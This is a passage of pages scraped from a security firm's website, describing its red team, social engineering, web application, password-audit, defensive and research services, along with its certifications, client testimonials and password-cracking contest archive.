tenacity, and custom tools - frequently developed during the engagement itself - to test your organization's defenses against determined attackers. ### Collaborative Target Identification We work directly with your team to identify what matters most - critical data, key systems, essential infrastructure, employees, and business processes. This collaborative scoping ensures the engagement tests the scenarios that would cause real damage. ### Threat-Informed Reconnaissance Deep reconnaissance informed by real threat intelligence - identifying attack paths that a sophisticated adversary would actually pursue against your specific environment, industry, and technology stack. ### Custom Tooling & Tenacity Our testers bring experience and persistence, frequently writing custom tools during the engagement to exploit the specific weaknesses discovered in your environment - just as a real adversary would. ### Post-Test Collaboration The engagement doesn't end when testing stops. We collaborate with your team to walk through the test narrative, improve detection and deterrence, and perform root cause analysis of every vulnerability exploited. ### Target Categories Critical data and intellectual property Key systems and infrastructure Employees and human processes Business processes and workflows Third-party integrations and supply chain ## Red Team Engagement Model Every red team engagement follows a structured lifecycle - from collaborative scoping through active testing to post-engagement analysis and improvement planning. ### Scoping & Target Selection Collaborative sessions with your team to identify critical targets, define rules of engagement, and establish threat scenarios that reflect real adversary motivations. - Joint target identification - Threat scenario development - Rules of engagement definition - Success criteria agreement ### Active Operations Sustained adversary simulation combining reconnaissance, exploitation, and lateral movement using both established techniques and custom tooling developed on the fly. - Threat-informed reconnaissance - Custom tool development - Multi-vector attack execution - Persistent access and lateral movement ### Detection & Deterrence Analysis Collaborative review of what your defenses caught, what they missed, and specific improvements to strengthen detection and deterrence capabilities. - Detection gap identification - Alert tuning recommendations - Monitoring improvement guidance - Deterrence strategy development ### Root Cause Analysis Deep analysis of how each exploited vulnerability came to exist and specific recommendations to prevent recurrence - addressing systemic issues, not just symptoms. - Vulnerability origin analysis - Systemic weakness identification - Process improvement recommendations - Recurrence prevention strategies ### Post-Testing Deliverables #### Test Narrative Detailed chronological account of every action taken, what was attempted, what succeeded, and what was discovered at each stage #### Detection Guidance Specific recommendations for how to detect and deter similar attacks based on what your defenses caught and what they missed #### Root Cause Analysis Analysis of how each exploited vulnerability came to exist and recommendations to prevent recurrence #### Executive Summary Business-focused overview of organizational resilience with strategic recommendations for leadership ## Collaborative Reporting Red team deliverables go beyond a list of findings. We provide a complete test narrative and work directly with your team to translate results into meaningful security improvements. Complete attack timeline and methodology documentation Actionable detection and deterrence improvements Systemic root cause analysis and prevention roadmap ## Ready to Strengthen Your Security? Test your organization's resilience against sophisticated adversaries with a realistic red team engagement tailored to your threat landscape. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Red%20Team%20Assessment%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Social Engineering Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/social-engineering/ Targeted social engineering assessments to test human security vulnerabilities through phishing campaigns and social manipulation techniques. Human Security Testing # Social Engineering Testing Realistic human security assessments that test your organization's vulnerability to social engineering attacks through simulated phishing campaigns and social manipulation techniques - 20+ Years Experience - 4 Attack Categories - ISO 27001 Certified ## Our Social Engineering Approach KoreLogic's social engineering testing methodology combines advanced reconnaissance techniques to test your organization's human security posture. ### Reconnaissance & Targeting OSINT gathering and employee profiling to identify high-value targets and craft realistic attack scenarios tailored to your organization. ### Campaign Execution Controlled phishing, vishing, and pretexting campaigns using real-world threat actor techniques adapted to your environment. ### Analysis & Reporting Detailed metrics on employee responses, click rates, and credential submissions with actionable recommendations for security awareness training. ### Social Engineering Focus Areas Email phishing and spear phishing Voice phishing (vishing) attacks Pretexting and impersonation Social media intelligence gathering USB drop and media-based attacks ## Social Engineering Testing Services Holistic human security assessment covering the full spectrum of social engineering attack vectors. ### Email Phishing Campaigns Targeted email attacks designed to harvest credentials, deliver malware, or manipulate employees into unauthorized actions. - Spear phishing attacks - Credential harvesting pages - Business email compromise - CxO fraud scenarios ### Voice & Communication Testing Phone-based social engineering attacks including vishing, pretexting, and help desk manipulation scenarios. - Vishing (voice phishing) campaigns - Pretexting scenarios - Help desk social engineering - Authority exploitation ### OSINT & Social Media Open source intelligence gathering and social media reconnaissance to support targeted attack campaigns. - Social media profiling - Employee targeting - Organizational intelligence - Attack vector identification ### Security Awareness Testing Systematic assessment of employee security awareness and susceptibility to social engineering attacks. - Employee awareness levels - Response effectiveness - Training recommendations - Behavioral analysis ### Assessment Deliverables #### Executive Summary High-level business risk assessment with actionable recommendations for leadership #### Technical Report Detailed attack methodologies, employee responses, and security findings #### Training Recommendations Customized security awareness training program based on identified vulnerabilities #### Ongoing Support Post-assessment remediation guidance and follow-up testing recommendations ## Professional Reports Detailed reporting and documentation to help your organization understand human security vulnerabilities and implement effective countermeasures. Attack success metrics and employee response data Targeted training curriculum and delivery methods Progress monitoring and continuous improvement plan ## Ready to Strengthen Your Security? Evaluate your organization's resilience against phishing, vishing, and social manipulation attacks. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Social%20Engineering%20Assessment%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Web Application Security Testing - KoreLogic URL: https://korelogic.com/services/penetration-testing/web-application/ Web application penetration testing and OWASP assessments for web apps, APIs, authentication flows, and custom applications. Most Popular Service # Web Application Security Testing Thorough web application penetration testing and OWASP vulnerability assessments to secure your critical business applications ### OWASP Top 10 Complete coverage of critical web application risks ### API Security REST, SOAP, and GraphQL API vulnerability testing ### Authentication Session management and access control testing ## Our Testing Methodology Our web application security testing combines automated tools with extensive manual testing to identify complex business logic flaws and security vulnerabilities that automated scanners miss. ### Application Reconnaissance Systematic mapping of application functionality and attack surface ### Manual Security Testing Expert manual testing for business logic flaws and complex vulnerabilities ### Exploitation & Validation Proof-of-concept development to demonstrate real-world impact ### Common Vulnerabilities We Find SQL Injection & Database Attacks Cross-Site Scripting (XSS) Business Logic Flaws Authentication Bypasses Authorization Issues Server-Side Request Forgery (SSRF) Supply Chain & Insecure Dependencies ## Web Application Security Services Full-scope testing services for all types of web applications and APIs ### Web Application Testing Complete OWASP-based testing of web applications including authentication, authorization, and session management ### API Security Testing Rigorous testing of REST, SOAP, and GraphQL APIs for authentication, authorization, and data validation issues ### Single Page Applications Specialized testing for React, Angular, Vue.js, and other modern JavaScript framework applications ### Business Logic Testing In-depth analysis of application workflows and business processes to identify logic flaws and process bypasses ### Authentication Testing Exhaustive testing of authentication mechanisms, session management, and access controls ### Database Security SQL injection testing, database configuration review, and data exposure analysis ### Assessment Deliverables #### Executive Summary Business-focused risk assessment and security posture overview #### Technical Findings Detailed vulnerability descriptions with proof-of-concept examples #### Remediation Guide Step-by-step instructions for fixing identified vulnerabilities #### Testing Evidence Screenshots, payloads, and detailed reproduction steps ## Actionable Results Our detailed reports provide development teams with everything needed to understand, prioritize, and fix security vulnerabilities effectively. ### Developer-Friendly Format Technical details that development teams can immediately act upon ### Risk-Based Prioritization CVSS scoring and business impact analysis for remediation planning ## Ready to Strengthen Your Security? Identify security vulnerabilities in your web applications and APIs before they impact your business. Discuss Your Security Requirements Link: mailto:info_2026@korelogic.com?subject=Web%20Application%20Security%20Testing%20Inquiry Link: /services/penetration-testing Confidential consultation - Expert recommendations - Detailed reporting --- ## Password Audits & Recovery Services - KoreLogic URL: https://korelogic.com/services/password-audits-and-recovery/ Proven Active Directory password security audits and recovery services for Fortune 500 enterprises and government agencies. # Password Audits & Recovery Services Proven Active Directory password security audits and recovery services for Fortune 500 enterprises and government agencies since 2015 with solutions that can be tailored to meet your specific needs. - 2,000,000+ Real AD Hashes Cracked - 200+ Supported Hash Formats - 20+ Years Experience ## Enterprise Services ### Enterprise-Wide Password Security Audits In-depth assessment of your organization's password security posture with clear remediation steps ### Critical Document Recovery for Business Continuity Rapid recovery of password-protected business-critical files during M&A, litigation, or emergency situations ### Compliance Validation & Reporting Meet regulatory requirements with executive-ready reports on password policy effectiveness ### Key Capabilities #### High-performance Distributed Cracking Grid - Secure, scalable, and extensible - Company-owned and -controlled compute (no cloud or third-party access) - 24/7/365 recovery efforts - Custom dictionary and rule development - Targeted brute force mask attacks #### Periodic Active Directory Audits - Monthly, quarterly, etc. - Reports detailing audit results, policy violations, and historical trends - Managed on-prem solutions - Email alerting for enterprise deployments ## Success Stories Proven results for government agencies, enterprise clients, small businesses, and individuals ### Regional Bank Trending Down After several years of quarterly Active Directory password audits, the client thanked us writing: "The attached chart is impressive to show the value in the PRS over time!" **Impact:** Periodic password audits increase security awareness and help decrease exposure/risk over time Quarterly Audits Chart showing Active Accounts Recovered percentage declining from 81.3% in Q1 2018 to 34.3% in Q1 2023 ### Fortune 500 Food & Beverage Company 99.8% Success Rate Cracked 99.8% of 260,000 password hashes. Passwords complied with documented policies, but policies didn't prevent major trends and predictable user behavior. Identified administrators abusing privileges to reuse passwords, evading password history controls. **Impact:** Unprecedented visibility into the risks posed by weak passwords and abusive administrator habits ### Law Firm eDiscovery Days vs. Months A firm was processing thousands of password-protected Microsoft Office and PDF documents for eDiscovery. After commercial password cracking software proved ineffective, they engaged KoreLogic's PRS. We accomplished more in days than they had managed in months. **Impact:** Urgent legal deadlines met, thousands of documents processed, and a significant number of recoveries made ### Major Retailer Audit 84% in 24 Hours Leveraged PRS to understand user compliance and satisfy audit requirements. A majority (84%) of the organization's 11,000 user passwords were recovered in 24 hours, leading to intense discussions and a complete revamp of their security policies. **Impact:** Enterprise-wide security policy transformation and compliance achievement ### Small Business Recovery Threat to Livelihood Abated A couple ran a small business together; the husband did all bookkeeping and kept business/personal financial account information in an encrypted spreadsheet. When he passed away suddenly, his wife couldn't access the credentials needed to log into any of their accounts. We decrypted the spreadsheet, saving her substantial effort and immeasurable frustration. **Impact:** Critical recovery during a life-altering tragedy ### Fortune 500 Legal Team Custom Solution Recovered encrypted files from a CD used by a former employee of an acquired company. When standard techniques fell short, our team reverse-engineered the proprietary encryption to recover the files. **Impact:** Important acquisition data recovered through reverse-engineering and cryptanalysis ### IRS Audit Emergency Minutes A private citizen being audited by the IRS urgently needed access to a pair of password-protected PDF files containing audit-relevant information. After unsuccessful attempts to recall/guess/recover the passwords, the individual engaged KoreLogic's PRS. We recovered the passwords in a fraction of a compute hour (mere minutes). **Impact:** Urgent need met during stressful period ### Fortune 500 Financial Company Macro Recovery Service Business units under tight deadlines to identify and register all production macros were hindered by protections previously placed on production workbooks, worksheets, and macros. We adapted PRS to create the Macro Recovery Service (MRS) and deployed it as a self-serve web portal within the client's environment. **Impact:** Deadlines met while maximizing recoveries and preserving file integrity across the enterprise ### Not Just Passwords Crypto Broken in 2 Hours During black-box security testing of a peripheral device, we hypothesized a brute force attack against its 128-bit AES-encrypted wireless protocol. After creating/deploying a custom attack program on our distributed cracking grid, we confirmed the cryptosystem, as implemented, was broken within two hours. **Impact:** Severe global vulnerability disclosed - all devices affected, all traffic decryptable ### DoJ Criminal Case Cone of Silence Provided cracking assistance for an on-going criminal case. As a government contractor, we were privy to few details and had no way to know the impact of our efforts. Approximately two and a half years later, our technical point of contact thanked us writing: "As a side mention, the previous assistance you provided has indeed been a component to helping us identify and catch several elusive bad guys." **Impact:** Recovered passwords helped law enforcement advance their case ### Real Estate Company Differential Analysis Provided analytic support to our client who was responding to signs of a breach. Since we recently performed an Active Directory audit, we were in a unique position to take a new snapshot, compare it to the previous snapshot, and look for evidence of compromise. Our differential analysis focused on changed/new/missing accounts and groups. Fortunately, we found nothing that was unexpected or couldn't be explained by the client. **Impact:** Critical accounts and group memberships quickly cleared from the investigation --- ## Defensive Services - KoreLogic URL: https://korelogic.com/services/defensive/ Proactive security architecture reviews and risk assessments to strengthen your security posture and protect critical assets. Defensive: Strengthening Your Security Posture # Defensive Security Services We use our offensive testing experience to design solutions that are resistant to a skilled adversary - 2000+ Vendor Risk Reviews - Across Fortune 500 companies and government agencies - ISO 27001:2022 Certified - International standard for information security management - 20+ Years Experience - Defending critical infrastructure and enterprise systems ## Third Party Cybersecurity Risk Reviews Leveraging our offensive testing experience, we have delivered over 2,000 third party cybersecurity risk reviews of a wide range of companies such as fintech, SaaS, cryptocurrency exchanges, digital payments, legal, technology, and banks. We have developed the review process evaluation of third parties including evaluation criteria and criticality rating for vendors. The workflow consists of reviewing vendor risk information (e.g. questionnaires, penetration test reports, SOC II reports, etc.); measuring conformance to a client's compliance standard; identifying and documenting risk areas and remediation activities. ### Vendor Risk Assessment Structured evaluation of third party security posture against your compliance standards ### Risk Documentation Identifying and documenting risk areas with prioritized remediation activities ### Review Workflow 1. Vendor Questionnaire Review 2. Penetration Test Report Analysis 3. SOC II Report Evaluation 4. Compliance Conformance Measurement 5. Risk & Remediation Documentation #### Platform Experience KoreLogic has used multiple vendor risk management platforms including BitSight, Aravo, and Whistic ## Risk Assessment & Management Systematic identification, analysis, and prioritization of security risks to help you make informed decisions about security investments and resource allocation. Our risk assessments provide the foundation for all defensive security strategies. ### Threat Modeling & Analysis Identify potential attack vectors and threat actors relevant to your organization's specific risk profile ### Quantitative Risk Analysis Calculate potential business impact of security incidents with hard numbers for executive decision-making ### Mitigation Strategy Development Prioritized roadmaps with specific controls and timelines to reduce organizational risk ### Risk Assessment Process 1. Asset Inventory & Classification 2. Threat & Vulnerability Analysis 3. Risk Scoring & Prioritization 4. Control Recommendations 5. Ongoing Risk Monitoring #### Deliverables Executive summary, detailed risk register, mitigation roadmap, and quarterly review recommendations ### Architecture Review Areas Network Security - Network Segmentation - Firewall Configuration - VPN Security - Zero Trust Architecture Application Security - Secure Development - API Security - Authentication Systems - Data Protection #### Cloud Architecture Specialty Expert review of AWS, Azure, and GCP deployments with specific focus on cloud-native security controls and configuration management ## Security Architecture Reviews Holistic evaluation of your security architecture to identify weaknesses and design improvements that align with industry best practices and your business objectives. Our architects have designed security for Fortune 500 companies and critical infrastructure. ### Network & Infrastructure Analysis Detailed review of network topology, segmentation, and infrastructure security controls including cloud and hybrid environments ### Application Security Design Assessment of application architecture, authentication, authorization, and data flow security patterns ### Defense in Depth Strategy Multi-layered security approach with redundant controls and fail-safe mechanisms ## Strengthen Your Defenses Risk Assessment End-to-end security risk analysis Security Training Customized security awareness programs Architecture Review Expert security design review Link: mailto:info_2026@korelogic.com?subject=Defensive%20Security%20Inquiry Link: /pgp/info_2026_korelogic.asc --- ## Research & Development Services - KoreLogic URL: https://korelogic.com/services/research/ Cybersecurity research including password security, vulnerability discovery, open source tool development, and government-funded projects with demonstrated security outcomes. Security Research & Development # Research & Development Cybersecurity research that creates measurable impact through vulnerability discovery, tool development, and industry leadership ### Password Security Leading the industry through DEF CON CMIYC contests and published password research ### Vulnerability Discovery Finding and responsibly disclosing security flaws in critical systems and software ### Open Source Tools Creating practical security tools used by researchers and practitioners worldwide ### Recent Vulnerability Discoveries #### [yintibao Fun Print Mobile Unauthorized Access via Context Hijacking](/advisories/KL-001-2026-001) CWE-926 | CVE-2025-15464 Published: January 7, 2026 #### [Xorux XorMon-NG Read Only User Export Device Configuration Exposing Sensitive Information](/advisories/KL-001-2025-012) CWE-648 | CVE-2025-54766 Published: July 27, 2025 #### [Xorux XorMon-NG Web Application Privilege Escalation to Administrator](/advisories/KL-001-2025-013) CWE-648 | CVE-2025-54765 Published: July 27, 2025 #### [Xorux LPAR2RRD Read Only User Log Download Exposing Sensitive Information](/advisories/KL-001-2025-015) CWE-648, CWE-532 | CVE-2025-54768 Published: July 27, 2025 Responsible disclosure process ensures vendors can patch vulnerabilities before public release Link: /advisories ## Vulnerability Research Our vulnerability research team systematically analyzes software, firmware, and hardware to discover security flaws that could affect production systems. ### Security Advisory Series Publishing detailed security advisories (KL-001 series) for discovered vulnerabilities ### Cross-Platform Analysis Vulnerability research across embedded systems, enterprise software, and network infrastructure ## Password Security Research KoreLogic is a recognized leader in password security research, organizing industry competitions and conducting government-funded research to advance password security. ### DEF CON Crack Me If You Can Annual password cracking contest we organize at DEF CON, pushing the boundaries of password security research ### Password Village Managing DEF CON's Password Village, fostering community learning and research collaboration ### PathWell Project #### DARPA Cyber Fast Track Password Topology Histogram Wear-Leveling research project #### Enterprise Password Strength Dynamic password strength enforcement, blocking common passwords based on password topologies #### Measurable Impact Improving organizational password policies through data-driven insights ## Open Source Tools We develop and maintain open source security tools that are used by researchers, security professionals, and organizations worldwide. ### Security Tools That Ship Tools designed to solve common security problems faced by practitioners ### Community Contributions Supporting the security community through freely available, well-documented tools ### Our Open Source Tools #### FTimes File system monitoring and analysis tool #### WebJob Framework Endpoint security solution with grid computing capabilities #### WMkick MITM tool for capturing NetNTLMv2 hashes Link: https://github.com/korelogicsecurity ### Government Research Portfolio #### DARPA Cyber Fast Track PathWell password topology research project #### Multi-Year Security Research Ongoing projects addressing pressing national security challenges #### HardKore Labs Vulnerability and exploit research for government agencies #### Purpose-Built Solutions Custom security technologies and patented innovations ## Government Projects As a trusted government contractor, we conduct advanced cybersecurity research that addresses national security challenges and protects critical infrastructure. ### National Security Impact Research projects that directly contribute to national cybersecurity capabilities ## Industry Leadership Our research team actively participates in the cybersecurity community through conference presentations, contest organization, and tailored client education. ### Conference Organization Leading DEF CON's CMIYC password cracking contest and Password Village activities. Since 2023, KoreLogic has led the development of the annual CyberConVA program. ### Research Presentations Sharing findings and techniques with the broader security community, including ICSJWG presentations on red teaming industrial control environments ### Custom Security Briefings Preparing focused crash courses and technical briefings around client-specific threat models, research questions, and areas of concern ### Conference Participation Major Conferences - DEF CON - Black Hat - ShmooCon - BSides Events Specialized Events - CyberConVA - ICSJWG - Techno-Forensics - OWASP - DerbyCon #### Community Impact Regular speaking engagements and contest organization that advance cybersecurity knowledge sharing ## Research Collaboration Partner with our research team on cybersecurity projects that create lasting security impact. - Research Since 2004 - 105 Security Advisories - CNA CVE Numbering Authority Link: mailto:info_2026@korelogic.com?subject=Research%20Services%20Inquiry Link: /pgp/info_2026_korelogic.asc --- ## Our Approach - KoreLogic Security Methodology URL: https://korelogic.com/approach/ Learn about KoreLogic's proven cybersecurity methodology. Quality-first approach, experienced team, and problem-solving mindset that Fortune 500 companies trust. Proven Methodology # The KoreLogic Approach Quality-First Security Methodology Founded in 2004 as a quality-first firm focused on technical excellence and standards-driven security practices. Our approach has earned the trust of Fortune 500 companies for over two decades. Step-by-step process Client Feedback What clients say Link: /testimonials ## Core Principles Four foundational principles that guide everything we do ### Quality Over Quantity Substance Over Scale Founded as a firm that prioritizes quality over volume. We take the time necessary to deliver accurate results that truly improve your security posture. ### Experienced Team 20+ Years Average Experience Our staff averages over 20 years of security experience. We hire senior professionals who deliver relentless results and bring deep expertise to every engagement. ### Long-term Relationships Trusted Advisors We build lasting partnerships with our clients, providing institutional knowledge and consistency across multiple engagements. Our 95% client retention rate speaks to this commitment. ### Problem Solvers Custom Solutions We listen carefully to your requirements and craft solutions that solve specific problems. Every engagement is scoped to your unique environment and needs. ## Our Methodology ### 1. Discovery & Planning Deep dive into your environment, requirements, and business objectives. We tailor our approach to your specific infrastructure, compliance needs, and risk tolerance. * Scope definition and objectives * Infrastructure mapping * Compliance requirements review ### 2. Reconnaissance Systematic information gathering using both automated tools and manual techniques. We identify potential attack vectors while maintaining stealth and professionalism. * OSINT gathering * Network enumeration * Service fingerprinting ### 3. Vulnerability Assessment Automated scanning combined with manual testing to identify security vulnerabilities. Our experienced team goes beyond automated tools to find complex issues. * Automated vulnerability scanning * Manual verification and testing * Configuration review ### 4. Exploitation & Testing Controlled exploitation to demonstrate actual impact while maintaining system stability. We prove vulnerabilities can be exploited by actual attackers. * Safe exploitation techniques * Impact demonstration * Evidence collection ### 5. Analysis & Reporting Detailed documentation with executive summaries, technical findings, and prioritized remediation steps. Reports are written for both technical teams and executive audiences. * Executive summary * Technical findings * Remediation roadmap ### 6. Support & Follow-up Ongoing support to help implement fixes and verify remediation. We're available for questions and can perform re-testing to ensure vulnerabilities are properly addressed. * Remediation support * Re-testing services * Ongoing partnership ## Experience Our Approach See how our proven methodology can improve your security posture and protect your organization. Start Your Security Assessment Link: /contact Link: /testimonials --- ## About KoreLogic Security - CVE Authority | Government Partner | Founded 2004 URL: https://korelogic.com/company/ Learn about KoreLogic Security's leadership in cybersecurity. CVE Numbering Authority, government research partner, and trusted by Fortune 500 companies worldwide. About KoreLogic Security # Proven Cybersecurity Leadership CVE Authority and trusted cybersecurity leader serving enterprise clients and government agencies Our Story 20+ years of delivery Achievements CVE Authority & Research Leadership Expert team Careers Join our team ## Our Story From humble beginnings to cybersecurity authority - two decades of building trust through results ### Founded on Principle KoreLogic Security was founded in 2004 with a quality-first philosophy, focusing on technical excellence and standards-driven security practices. ### Government Experience Extensive experience with U.S. Government agencies and federally funded research projects advancing cybersecurity for national security applications. ### Fortune 500 Partnerships Long-term relationships with enterprise clients achieving 95% client retention through consistent delivery of cybersecurity results. ### 2000+ Vendor Risk Reviews Over 2000 third-party vendor risk reviews performed with continuous client support across two decades of consistent service. ## Nationwide Presence Distributed team providing cybersecurity services across the United States ### Richmond, Virginia Headquarters KoreLogic is headquartered in Richmond, Virginia, strategically positioned to serve government agencies and major enterprises throughout the Mid-Atlantic region. Headquarters ### Coast-to-Coast Operations Our expert staff is located throughout the U.S. in Arizona, Arkansas, California, Colorado, Florida, Illinois, Maryland, Massachusetts, Michigan, Missouri, Texas, and Virginia, ensuring nationwide coverage and regional presence. Coast-to-Coast ## Key Achievements Industry recognition and leadership achievements that establish KoreLogic as a cybersecurity authority ### ISO 27001:2022 Certified Our ISO 27001:2022 certification demonstrates our dedication to maintaining the highest standards of information security management systems. Certified Excellence ### CREST Accredited CREST accreditation validates our penetration testing capabilities and ethical hacking expertise at the highest international standards. International Standards ### CVE Numbering Authority Authorized by MITRE to assign CVE identifiers to newly discovered vulnerabilities, demonstrating our leadership in security research. Authority Status ### 105 Security Advisories Published 105 security advisories with in-depth vulnerability research, responsible disclosure, and detailed technical analysis. Research Portfolio ### Government Research Partner Federal research contracts including the DIRT, MASTIFF, and PathWell projects, advancing cybersecurity research for national security applications. Government Contractor ### DEF CON CMIYC Contest Organizer Organizing DEF CON Password Village and CMIYC contest competitions, at the forefront of the cybersecurity community in password security research and education. Community Leader ## Leadership Team Proven track record of delivering enterprise security engagements and advancing the state of cybersecurity through research and development ### Bob Austin President and co-founder, leading KoreLogic's strategic direction and client relationships. Over two decades of cybersecurity expertise with focus on quality-first service delivery and innovation. President & Co-Founder ### Senior Research Team World-class security researchers with 20+ years average experience, continuously discovering vulnerabilities and developing novel security methodologies. Security Researchers ### Executive Leadership Seasoned executives combining decades of experience in cybersecurity, government contracting, and enterprise security services for major corporations. Executive Team ## Core Values The principles that guide our work and our commitment to client success ### Excellence We deliver the highest quality cybersecurity services through continuous innovation, disciplined testing methodologies, and an unwavering dedication to technical quality. ### Integrity We maintain the highest ethical standards and complete confidentiality in all client engagements, ensuring trust and transparency in every professional relationship. ### Innovation We stay ahead of emerging threats through original research, advanced security methodologies, and continuous investment in next-generation solutions. ### Independence We are vendor-agnostic and provide objective assessments free from product affiliations, ensuring our recommendations serve client security rather than sales targets. ## Join Our Team Build your career with the cybersecurity authority. Work on challenging projects with enterprise clients and government agencies. ### Challenging Work Work on the latest cybersecurity challenges with major enterprises, government agencies, and prominent organizations worldwide. ### Continuous Learning Professional development opportunities, conference attendance, certification support, and access to the latest security research. ### Industry Authority Work alongside a CVE Numbering Authority team with federally funded research and over a decade of DEF CON CMIYC contest leadership. Apply Today Link: mailto:careers_2026@korelogic.com Link: /contact Link: /pgp/careers_2026_korelogic.asc --- ## Certifications & Accreditations - KoreLogic URL: https://korelogic.com/certifications/ KoreLogic Security certifications and accreditations including ISO 27001:2022 certification and CREST accreditation. Download official certificates and verification documents. Certified & Accredited # Certifications & Accreditations KoreLogic Security maintains the highest industry standards through recognized certification and accreditation programs - 2022 ISO 27001:2022 - Latest certification standard - 2027 Valid Until - June 18, 2027 - CREST Accredited - Penetration testing capability ISO 27001:2022 Certified ## ISO 27001:2022 Certification KoreLogic Security is ISO 27001:2022 certified, demonstrating our commitment to information security management best practices and continuous improvement. ### Information Security Management Robust policies and procedures for protecting client data and systems ### Risk Management Framework Systematic approach to identifying, assessing, and mitigating security risks ### Continuous Improvement Regular audits and updates to maintain the highest security standards ### Certificate Details Certificate ID: US019887 Issue Date: June 19, 2024 Expiry Date: June 18, 2027 Standard: ISO/IEC 27001:2022 Download Certificate (PDF) Link: /certifications/korelogic-iso-27001-us019887-2027.pdf Download Digital Signature Link: /certifications/korelogic-iso-27001-us019887-2027.pdf.sig Download Public Key (PGP) Link: /pgp/142BB87A015694B9.asc ### CREST Accreditation CREST (Council of Registered Ethical Security Testers) is the internationally recognized accreditation body for the technical information security industry. #### Accredited Services: - Penetration Testing - Vulnerability Assessments - Security Architecture Review - Security Consulting Verify on CREST Directory Link: https://www.crest-approved.org/member_companies/korelogic/ CREST Accredited ## CREST Accreditation Our CREST accreditation validates our technical expertise and ethical approach to penetration testing and security assessments. ### Technical Proficiency Validated testing of technical skills and methodologies ### Ethical Standards Commitment to responsible disclosure and professional conduct ### Industry Recognition Global recognition of security testing capabilities ## Why Certifications Matter Our certifications and accreditations provide assurance that KoreLogic Security meets the highest professional standards for cybersecurity services. ### Client Confidence Independent verification of our security practices and capabilities ### Regulatory Compliance Meeting security standards required by many Fortune 500 companies ### Continuous Improvement Regular audits ensure we maintain the highest standards --- ## Client Stories - KoreLogic Security URL: https://korelogic.com/testimonials/ Client stories from Fortune 500 CISOs, security directors, and technology leaders who trust KoreLogic with critical security challenges. Client Testimonials # Client Stories Over 20 Years of Enduring Partnerships Hear directly from CISOs, security directors, and technology leaders who trust KoreLogic with their most critical security challenges. Real feedback from enterprise clients Our Approach Methodology & process Link: /approach ## Thoroughness When organizations manage hundreds of billions in assets, "good enough" is never enough. Our clients choose KoreLogic because we find what others miss. > We have had pen tests in the past, but this report is more thorough than what we have received from the other companies. Chief Information Security Officer Global Asset Manager ($200B AUM) > World class security engineers. KoreLogic was the only one to successfully execute a man-in-the-middle attack during our assessment. Their technical depth is unmatched. Security Director Technology Company ## Collaboration Security assessments are not transactions. They are partnerships built on trust, open communication, and genuine knowledge exchange. > I truly enjoyed working with you and everyone on the KL team. I learned a great deal, and your feedback was extremely helpful. Application Security Leader Cloud-managed NaaS Vendor > Professional competency, honesty and integrity. We have come to depend on their institutional knowledge gained through our engagements. Their approach has been vital to our mutual success. Chief Information Security Officer Fortune 500 Financial Institution ## Enduring Partnerships Some relationships transcend the scope of a single engagement. Over a decade of partnership, trust compounds into something irreplaceable. > As we close out another year, I want to sincerely thank you for the continued support you have provided over the past decade. Your assistance with pen testing and monthly security touch points has been instrumental in strengthening our processes and your partnership has been invaluable in helping us achieve our security goals, and I deeply appreciate your dedication and expertise. Security Architecture Energy Company 10+ year partnership ## Excellence Under Pressure The true measure of a security team is not how they perform under ideal conditions, but how they deliver when the stakes are highest and the circumstances most demanding. > Please pass this on to your team. I've worked with a lot of different teams over the years and this has been some of the best technical & professional work, under difficult circumstances, that I've ever seen. Your team's work on this validates every good thing that my colleagues had told me about KoreLogic. Client Leadership Payment Processing FinTech ## Award Winning Besides the immediate task in front of us, our goal is always to help our project sponsor succeed. > Regarding an audit on which KoreLogic subcontracted, and the Inspector General client won industry recognition for the quality of the overall project: "Thanks for your support, \[without it\] I don't think we would have been part of getting this award, and offering outstanding service to our customer." Partner Global Audit Firm ## The Recommendation The strongest endorsement is a repeat referral. When colleagues ask for a recommendation, the answer is always the same. > A colleague of mine is looking for pen testing services. So, as per usual, you guys are my top recommendation with my usual description 'when I want something ripped apart I use them'. SVP, Application Security Consumer Financial Services Firm ## Write the Next Chapter Join the enterprise leaders who trust KoreLogic with their most critical security challenges. Your story starts with a conversation. Start the Conversation Link: /contact Link: /approach --- ## Crack Me If You Can - KoreLogic Password Cracking Contest URL: https://korelogic.com/contest/ KoreLogic's Crack Me If You Can password cracking contest hub with current contest status, past winners, rules, scores, downloads, and challenge notes. # Crack Me If You Can Password Cracking Contest KoreLogic's password cracking contest challenges teams to recover plaintexts, compare methods, and push password research forward. 2026 Contest Site Link: https://contest-2026.korelogic.com/ Past Contests Link: /contest/archive/ ## 2026 Contest Site Current rules, registration, downloads, teams, and scores for the 2026 contest. Visit 2026 site Link: https://contest-2026.korelogic.com/ ## Contest Archive Past DEF CON and DerbyCon contest years, winners, scores, and materials. Visit archives Link: /contest/archive/ ## Contest Updates Follow the contest account for announcements and publication status. @CrackMeIfYouCan Link: https://infosec.exchange/@CrackMeIfYouCan ## Contest Archive Past CMIYC contests show how teams attacked realistic password sets, hash types, scoring rules, and timed challenge releases across DEF CON and DerbyCon events. ### All Years Every past Crack Me If You Can contest year with winners and materials. Link: /contest/archive/ ### 2024 Archive Rules, downloads, teams, final scores, graphs, and hash set notes. Link: /contest-2024/ ### 2023 Archive DEF CON 31 results, hashcat's Pro win, Street results, team pages, downloads, and charts. Link: /contest-2023/ Detailed contest archives include team standings, rules, downloads, score charts, and password-source notes: [Contest archive index](/contest/archive/) --- ## Crack Me If You Can Contest Archive - KoreLogic URL: https://korelogic.com/contest/archive/ Past KoreLogic Crack Me If You Can contest years with winners, rules, team standings, downloads, charts, and password-cracking challenge notes. Back to Crack Me If You Can Link: /contest # Contest Archive DEF CON 32 ## Crack Me If You Can 2024 - 2024 Dates August 9-11, 2024 Pro Winner HashMob Link: https://hashmob.net/writeups/HashMob.net%20-%20CrackMeIfYouCan%202024%20write-up.pdf Street Winner ThatOnePasswordWas40Passwords Link: https://github.com/ThatOnePasswordWas40Passwords/crackmeifyoucan/tree/main/2024 DEF CON 31 ## Crack Me If You Can 2023 - 2023 Dates August 11-13, 2023 Pro Winner hashcat Link: https://github.com/hashcat/team-hashcat/blob/main/CMIYC2023/CMIYC2023TeamHashcatWriteup.pdf Street Winner HashMob.net Users - Street Link: https://hashmob.net/writeups/HashMob.net%20-%20CrackMeIfYouCan%202023%20write-up.pdf DEF CON 30 ## Crack Me If You Can 2022 - 2022 Dates August 12-14, 2022 Pro Winner hashcat Link: 